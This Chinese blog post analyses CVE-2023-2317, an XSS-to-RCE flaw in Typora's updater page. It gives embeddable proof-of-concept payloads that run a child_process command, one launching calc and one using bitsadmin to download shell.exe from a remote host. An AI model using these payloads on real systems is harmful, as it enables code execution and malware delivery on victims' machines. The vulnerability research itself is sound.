Typora远程代码执行漏洞 - CVE-2023-2317

发布时间 2023-09-02 11:24:08作者: lockly

Typora - CVE-2023-2317

简介

Typora一个常用的markdown编辑器,在1.6.7之前存在XSS漏洞,可以通过传入参数触发来加载恶意的JavaScript代码

分析

在typora的安装目录下的resource目录下,updater.html。

image-20230901004004357

先用正则从URL中提取一些参数来更新内容,分别获得curVersion, newVersionreleaseNoteLinkhideAutoUpdateslabels这五个参数的值.其中,releaseNoteLink和labels是经过URL编码的,所以需要用decodeURIComponent函数来解码。

接着用JSON.parse来将labels变量转化为数组,因为包含了文本标签所以就可以显示在网页上面。然后用选择器document.querySelector("#sum")来找到id为sum的元素,他的值由数组中第四个和第五个标签拼接起来的字符串替代

再用document.querySelectorAll("[data-label]")找到并同时去遍历所有的data-label属性的元素,值则为对应索引的标签

可以看到他直接使用了dom.innerHTML进行修改,传参未经任何的转移过滤,就会有执行恶意js的可能。

利用

构造poc,原始如下:atob函数中的字符串先base64

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=["","","<svg/onload=top.eval(atob('reqnode('child_process').exec('calc')'))></svg>","","",""]">

然后因为这里只是编码参数,所以对labels=[]中的内容进行URL编码时要使用encodeURLCompoent,否则不生效

image-20230901010728920

将poc以html类型写入,保存之后每次加载这个文件就会触发计算器。

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%5B%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22%5D%22%3E]">

image-20230901010757235

去尝试了一下用bitsadmin拉?子下来上线,但寄了

<embed style="height:0;" src="typora://app/typemark/updater/updater.html?curVersion=110&newVersion=110&releaseNoteLink=110&hideAutoUpdates=false&labels=[%22%22%2C%22%22%2C%22%3Csvg%2Fonload%3Dtop.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2JpdHNhZG1pbiAvdHJhbnNmZXIgdGVzdCBodHRwOi8vMTkyLjE2OC4xMzAuMTo1NTU1L3NoZWxsLmV4ZSBDOlxVc2Vyc1x3ZW5keVxEZXNrdG9wXDExMC5leGUnKQ%3D%3D'))%3E%3C%2Fsvg%3E%22%2C%22%22%2C%22%22%2C%22%22]">

版本测试

1.2.3 直接未响应,加载一会就回闪退

image-20230831235051550

其他版本的测试就没有尝试了,有兴趣的这边请?传送门

参考文章